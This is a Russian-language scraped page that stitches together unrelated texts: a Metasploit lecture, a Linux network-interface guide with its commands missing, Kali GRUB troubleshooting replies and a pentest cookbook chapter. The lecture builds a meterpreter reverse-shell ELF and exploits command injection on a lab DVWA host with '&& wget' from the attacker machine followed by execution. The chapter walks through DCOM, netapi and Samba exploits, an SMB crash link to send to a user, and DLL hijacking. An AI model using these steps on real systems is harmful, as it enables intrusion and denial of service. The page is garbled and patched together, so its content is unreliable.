Handler failed to bind to настройка интерфейса kali linux

Обновлено: 07.07.2024

В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

msfpc -h

Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

шаблон msfpc

Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

Далее мне нужно выбрать порт – это 4444.

После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

Запись будет иметь вид:

создание пэйлоада для Linux

Жмем «Enter», и даем инструменту творить магию:

создание пэйлоада

Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

файл с расширением .elf создан

Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

запуск скрипта

handler находится в фоновом режиме

Он ждет подключение от пэйлоада meterpreter.

Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

пинг локального айпи-адреса

Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

127.0.0.1 && pwd

В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

127.0.0.1 && wget -h

И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf

Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

service apache2 start

192.168.119.128 && wget http://192.168.119.128/backdoor.elf

Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

ls command

Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

chmod +x backdoor.elf

Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

192.168.119.140 && ./backdoor.elf

Переходим в терминал, и у нас есть открытая сессия:

Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

открытая сессия meterpreter

Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

команда sysinfo

Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

переход в стандартный терминал linux

Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.


Вам может потребоваться выполнить эти команды в соответствии с вашими требованиями.

Я могу привести несколько примеров, где вам это понадобится.

При добавлении нового сетевого интерфейса или при создании нового виртуального сетевого интерфейса из исходного физического интерфейса.

вам может понадобиться отослать эти команды, чтобы вызвать новый интерфейс.

Кроме того, если вы внесли какие-либо изменения или если они не работают, вам нужно выполнить одну из следующих команд, чтобы применить их.

Это можно сделать разными способами, и мы хотели бы добавить лучшие пять методов, которые мы использовали в статье.

Это можно сделать, используя следующие пять методов.

Приведенные ниже выходные данные показывают информацию о доступной сетевой карте (NIC) в моей системе Linux.

1) Как подключить и отключить сетевой интерфейс в Linux с помощью команды ifconfig?

Команда ifconfig используется для настройки сетевого интерфейса.

Он используется во время загрузки для настройки интерфейсов по мере необходимости.

Он предоставляет много информации о NIC.

Мы можем использовать команду ifconfig, когда нам нужно внести какие-либо изменения в сетевую карту.

Общий синтаксис для ifconfig:

Выполните следующую команду, чтобы отключить интерфейс enp0s3 в Linux.

Запишите его, вы должны ввести имя вашего интерфейса вместо нашего варианта.

Да действительно, данный интерфейс не работает согласно следующему выводу.

Выполните следующую команду, чтобы включить интерфейс enp0s3 в Linux.

Да, данный интерфейс работает сейчас согласно следующему выводу.

2) Как включить и отключить сетевой интерфейс в Linux с помощью команды ifdown / up?

Примечание. Она не работает с новым интерфейсным именем устройства, таким как enpXXX.

Общий синтаксис для ifdown / ifup:

Выполните следующую команду, чтобы отключить интерфейс eth1 в Linux.

Выполните следующую команду, чтобы включить интерфейс eth1 в Linux.

Да, данный интерфейс работает сейчас согласно следующему выводу.

ifup и ifdown не поддерживают последние имена интерфейсных устройств enpXXX.

3) Как вывести из строя или поднять сетевой интерфейс в Linux с помощью команды ip?

Команда ip используется для управления картой сетевого интерфейса (NIC).

Это замена старой и устаревшей команды ifconfig в современных системах Linux.

Она похожа на команду ifconfig, но имеет много мощных функций, которые недоступны в команде ifconfig.

Общий синтаксис для IP:

Выполните следующую команду, чтобы отключить интерфейс enp0s3 в Linux.

Да, данный интерфейс не работает согласно следующему выводу.

Выполните следующую команду, чтобы включить интерфейс enp0s3 в Linux.

Да, данный интерфейс работает сейчас согласно следующему выводу.

4) Как включить и отключить сетевой интерфейс в Linux с помощью команды nmcli?

Его можно использовать в качестве замены для nm-applet или других графических клиентов. nmcli используется для создания, отображения, редактирования, удаления, активации и деактивации сети.

подключения, а также контролировать и отображать состояние сетевого устройства.

Выполните следующую команду, чтобы определить имя интерфейса, потому что команда nmcli выполняет большую часть задачи, используя имя профиля вместо имени устройства.

Общий синтаксис для IP:

Выполните следующую команду, чтобы отключить интерфейс enp0s3 в Linux.

Вы должны дать имя профиля вместо имени устройства, чтобы отключить его.

Да, данный интерфейс не работает согласно следующему выводу.

Выполните следующую команду, чтобы включить интерфейс enp0s3 в Linux. Вы должны дать имя профиля вместо имени устройства, чтобы включить его.

Да, данный интерфейс работает сейчас согласно следующему выводу.

5) Как вывести из строя сетевой интерфейс в Linux с помощью команды nmtui?

При запуске nmtui пользователю предлагается выбрать действие для выполнения, если оно не было указано в качестве первого аргумента.

Запустите следующую команду, чтобы запустить интерфейс nmtui.

Выберите «Подключится» и нажмите «ОК».

Выберите интерфейс, который хотите отключить, затем нажмите кнопку «отключить».

Скриншот установки

Я использовал загрузочный Pendrive.

Я сделал rufus usb insatller с Кали Линукс. затем установить вручную, после установки системы, то я застрял в установке загрузки загрузчика grub

Затем я выбираю выполнить оболочку,

вот более простое исправление:

Эта проблема возникает, когда ваш компьютер не подключен к Интернету во время установки. Установщик не сможет проверить существующие источники apt-get и отключит их.

В моем случае DNS-сервер не был установлен (поэтому проверка связи с любым доменом не будет работать), поэтому я сначала запустил sudo nano /etc/resolv.conf и добавил несколько DNS-серверов:

ping сервера теперь успешно.

Была такая же проблема при установке Kali Linux версии 2017.1.

mount --bind /dev /target /dev

mount --bind /dev /pts /target /dev /pts

монтировать --bind /proc /target /proc

mount --bind /sys /target /sys

chroot /target /bin /bash

В моем случае проблема была с файлом .iso, который я использовал. Изменение, которое исправило все.

У меня была такая же проблема - пренебрежение настройкой зеркала . Я вернулся через настройки / выбранное Сетевое зеркало и> Далее> Установленные пакеты и установил Brub без проблем.

Другая проблема заключалась в том, что не удалось смонтировать компакт-диск. изменение на sdb1 решено и не нужно использовать другие "обходные пути" .

Надеюсь это поможет :)

По некоторым причинам Linux не может правильно определить сетевое соединение, и, следовательно, grub не может быть установлен в конце установки.

Несмотря на то, что некоторые говорили выше, я не добился успеха, изменив основной сетевой интерфейс на другой проводной адаптер Ethernet, беспроводной адаптер и даже переключаясь между различными точками доступа для беспроводной связи, такими как персональная точка доступа на моем телефоне .


Глава 3 – Операционная система – оценка уязвимости и эксплуатация

В этой главе мы рассмотрим:

  • Введение
  • Использование эксплоита – простые советы
  • Пен-тест Windows XP SP2
  • Shell для удаленного доступа
  • Пен-тест Windows Server 2003
  • Пен-тест Windows 7/2008 R2
  • Пен-тест Linux (Ubuntu/Debian)
  • Разбор Windows DLL injection

Введение

В link-предыдущей главе, мы сфокусировались на сборе информации с целевой системы: IP-адрес, открытые порты, доступные сервисы/службы, ОС и т.д. Важным моментом при сборе информации является определение ОС. Эта информация поможет нам подобрать подходящий эксплоит(ы) и применить его (их).

В этой главе мы научимся проникать на ОС. Использовать эксплоиты и payloads, а также их параметры. Итак, давай приступим.

Использование эксплоита – простые советы

Перед тем как применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита. Пройдемся по некоторым командам, которые применяются вместе с эксплоитами.

Список команд, которые будут полезны при использовании эксплоита:

msf > show exploits и msf > show payloads – эти две команды показывают список доступных эксплоитов и payloads.

msf > search exploit – команда будет искать конкретный эксплоит, например:

msf > use exploit – команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться, например:

show options – команда показывает, какие доступные опции или параметры используются в эксплоите. К ним относятся: IP-адрес, порты, потоки и т.п. Параметры, которые отмечены yes, должны обязательно иметь значения, чтобы эксплоит заработал, например:

set – эта команда задает значения для параметров/опций в эксплоите, см. след. команду:

Есть дополнительные команды: setg и unsetg. Они применяются, когда хотим изменить глобальные параметры, используемые в msfconsole. Позволяют чуть-чуть сэкономить время.

show targets – каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

Видим, что dcom exploit подходит для нескольких версий Windows.

Пен-тест Windows XP SP2

Будем считать, что сканирование целевой системы произведено и вся информация о ней собрана.

Основная задача будет заключаться в эксплоита, который будет использован на машине Windows XP SP2. Вы можете просмотреть директорию /exploits/windows или просто выполнить поиск по доступным эксплоитам для платформы Windows XP. Для проникновения на целевую машину, здесь мы будем использовать RPC dcom уязвимость. Давайте произведем поиск по RPC dcom, используя след. команду:

Как видим, поиск выдал нам три результата. Мы будем использовать первый, так как его Rank = greate. Следовательно у нас будет больше шансов взломать цель.

Теперь активируем эксплоит выполнив след. команду:

Далее настроим параметры/опции эксплоита. Команда show options выдаст список доступных параметров:

RHOST (remote host) обозначает IP-адрес хоста (наша цель). RPORT (remote port) – порт удаленного хоста. По умолчанию RPORT = 135. Для того, чтобы эксплоит запустился, нам нужно указать IP-адрес для RHOST:

Стоит отметить, что ms03_026_dcom exploit имеет ID = 0. Это означает, что нам не нужно указывать, какая из Windows запущена на целевой машине. Эксплоит будет работать на любой Windows, которые в нем перечислены. В противном случае нам нужно было бы использовать команду show targets, чтобы указать конкретную ОС.

Теперь, когда значение RHOST установлено, можем попытаться запустить exploit, но получим ошибку. Так как мы не указали payload.

Следующий шаг, который мы должны сделать, это выбрать соответствующий payload. Мы можем воспользоваться командой show payloads, чтобы посмотреть список доступных payloads. Начнем с простого примера — windows/adduser. Этот payload добавит нового пользователя на целевую систему:

Теперь, если мы снова введем команду show options, появится список параметров для эксплоита, а также для payload’а:

Как видим логин и пароль уже заданы – metasploit. Можем поменять их командами set PASS и set USER.

Теперь все готово для запуска эксплоита:

Последняя строка говорит на о том, что эксплоит выполнился успешно. Теперь на целевой машине добавлен новый пользователь. Вывод также говорит о том, что сессия не была создана, это объясняется тем, что в payload мы указали только adduser. Таким образом после завершения эксплоита, соединение будет завершено. В след. рецепте мы будем использовать payload для создания сессии.

Для того, чтобы понять, как работает adduser payload, проанализируйте след. Ruby код:

Код простой и содержит комментарии, проблем возникнуть не должно. Можете с ним поиграться, чтобы лучше понять, как работает(ют) payload(s).

Shell для удаленного доступа

В предыдущем рецепте, мы проанализировали, как применить эксплот для Windows SP2 машины и добавить акк нового пользователя. В этом рецепте мы пойдем дальше и “привяжем” shell, чтобы установить удаленное соединение с целевой системой и получить контроль над ней. Все, что нам нужно сделать, это воспользоваться другим payload’ом, который может создать shell на целевой системе.

Для того, чтобы привязать shell к целевой машине, нужно выполнить несколько простых шагов:

Шаг 1

Снова воспользуемся dcom exploit’ом. Установим параметры, а затем выберем payload:

Шаг 2

Эксплоит установлен, переходим к payload. Воспользуемся командой show payloads, чтобы посмотреть список доступныйpayloads. Будем использовать windows/shell/bind_tcp, который откроет TCP соединение на 4444 порте:

Теперь, используя команду show options, можем настроить параметры, такие как: RHOST и изменить порт по умолчанию. После того, как параметры заданы, выполняем exploit:

Эксплоит выполнен успешно и мы получили командную строку, запущенную в msfconsole. Для того, чтобы выйти выполните команду exit.

Чтобы понять, как работает bind_tcp, нам нужно немного подождать. Так как эта тема включает в себя некоторые понятия, которые будем рассматривать в след. главе (статье). Тем не менее, вы можете пока посмотреть/изучить, как работает payload Ruby код, перейдя в — /pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb.

Почитать о Metasploit можно, например здесь.

Пен-тест Windows Server 2003

В предыдущем рецепте мы узнали, как использовать dcom exploit. В этом разделе мы сосредоточим внимание на том, как эксплуатировать Windows 2003 Server. Windows 2003 Server широко используется в корпоративной среде. Здесь мы будем рассматривать netapi32.dll уязвимость. Давайте поскорее начнем.

Запускаем msfconsole, затем сканируем целевую систему.

Давайте начнем с поиска netapi:

Видим, что выдалось четыре результата. Нам более предпочтительнее использовать последний эксплоит из списка, так как у него Rank = great:

И снова, Id = 0 – это значит, что нам не нужно указывать целевую систему.

После того, как завершили загрузку эксплоита, следующим шагом будет загрузка payload’a:

Теперь эксплоит и payload готовы. Остается выполнить команду exploit:

Бинго! Мы получили shell на целевой машине.

Пен-тест Windows 7/2008 R2

В этом разделе будем обсуждать эксплоит для SMB клиента, который вызывает зависание системы и ее дальнейший крах. Эта уязвимость не предоставляет shell.

SMB клиент в ядре Microsoft Windows Server 2008 R2 и Windows 7 позволяет удаленным SMB серверам и человеку по середине (man-in-the-middle attacker) выполнить отказ в обслуживании (бесконечный цикл и зависание системы) через ответный пакет SMBv1/SMBv2. Этот пакет содержит неправильное значение длины в заголовке NetBIOS или дополнительное поле в конце пакета.

Metasploit содержит вспомогательный модуль auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop, который собственно и производит отказ в обслуживании. Перейдем к практике:

Единственный параметр, который нужно настроить – SRVHOST. Из столбца Description понятно, что это IP-адрес пен-тестера, т.е. ваш:

Для запуска используем команду run. Как только модуль выполнится, он сгенерирует ссылку на общую папку 192.168.56.101SharedAnything:

Теперь эту ссылку отправляем пользователю. И когда он перейдет по ней, произойдет крах системы, т.е. система перезагрузится.

Пен-тест Linux (Ubuntu/Debian)

Linux, также является широко используемой ОС после Windows. В этом рецепте для пен-теста будем использовать Ubuntu 9.0. Процесс взлома будет аналогичен для любой Linux и Solaris ОС, главное чтобы на них работала служба/демон Samba.

Начнем со сканирования и сбора информации о целевой системе. Давайте выполним быстрое сканирование в Nmap и проанализируем результаты:

След. шагом нужно подобрать подходящий эксплоит и настроить payload. Поищем подходящий Samba exploit:

Появится список эксплоитов. Мы воспользуемся этим — exploit/linux/samba/lsa_transnames_heap, у которого Rank = good:

След. шагом будет установка payload. В качестве payload будет использовать linux/x86/shell_bind_tcp:

Все готово. Последним шагом будет команда exploit:

В случае успешного выполнения эксплоита, нам будет предоставлен shell на целевой машине. Весь процесс, который мы сейчас проделали очень похож на предыдущие, разница лишь в эксплоите и payload. Чем больше вы будите практиковаться, тем больше будите понимать Metasploit.

Samba использует общие принтеры и папки для обмена данными между Linux и Windows ОС. Модуль, который мы рассмотрели в этом рецепте вызывает переполнение кучи в службе LSA RPC, демона Samba. Есть шансы, что эксплоит завершится неудачей с первой попытки, поэтому попробуйте повторить его несколько раз, чтобы добиться успеха.

Давайте рассмотрим некоторые другие модули, связанные с ОС Linux. Настоятельно рекомендую ознакомиться с ними самостоятельно, чтобы глубже понять процесс взлома. К ним относятся:

  • Samba trans2open Overflow
  • Samba chain_reply Memory Corruption

Разбор Windows DLL injection

В этом рецепте мы будем иметь дело с особым эксплоитом, которого не существует в ОС Winodws. На самом деле он присутствует в программном обеспечении, работающем в Windows. Это удаленный вектор атаки, который затрагивает загрузку внешних библиотек.

Атака предполагает создание уязвимых путей или каталогов.

Рассмотрим практическую реализацию DLL инъекции. В этом примере целевой системой будет Windows 7 Ultimate. Давайте начнем.

В качестве эксплоита будем использовать модуль exploit/windows/browser/webdav_dll_hijacker, а в качестве payload — windows/meterpreter/bind_tcp:

Описывать каждый столбец не буду, так как в Description уже есть описание.

Теперь остается выполнить команду exploit:

Посмотрим, что происходит на целевой системе

Как видим на целевой системе создался файл policy.txt. Файл полностью безвреден. Но, после того, как пользователь откроет этот файл, начнет работать DLL и вы увидите активность в msfconsole.

DLL (англ. dynamic-link library — «библиотека динамической компоновки», «динамически подключаемая библиотека») — понятие операционных систем Microsoft Windows и IBM OS/2, динамическая библиотека, позволяющая многократное использование различными программными приложениями. K DLL относятся также элементы управления ActiveX и драйверы. В мире UNIX аналогичные функции выполняют так называемые общие объекты (англ. shared objects). Когда приложение выполняется/запущено, функция loadlibrary() подгружает необходимые DLL. Если местоположение загрузки DLL не указано или содержит недостаточно подходящий путь, тогда Windows использует свои пути для определения. Одним из таких путей является рабочий каталог.

Когда целевой пользователь посещает общую папку, он переходит в контролируемую злоумышленником зону/территорию. Как? Общий файл policy.txt содержит недостаточно подходящий путь к DLL. Поэтому, когда пользователь запускает этот файл, Windows начинает искать пропавшую DLL. Далее…так как текущий каталог /documents находится под контролем атакующего, он/она может добавить вредоносный код в DLL, который Windows выполнит (т.к. текущий рабочий каталог является одним из мест, где по умолчанию Windows, ищет библиотеки). Таким образом устанавливается соединение/shell с целевой системой и системой атакующего.

Однако, мы можем искать DLL injection, для этого нам понадобится простой инструмент созданный H. D. Moore. (создатель Metasploit). — DllHijackAudit kit. Ознакомиться с этой утилитой можно тут.

Читайте также: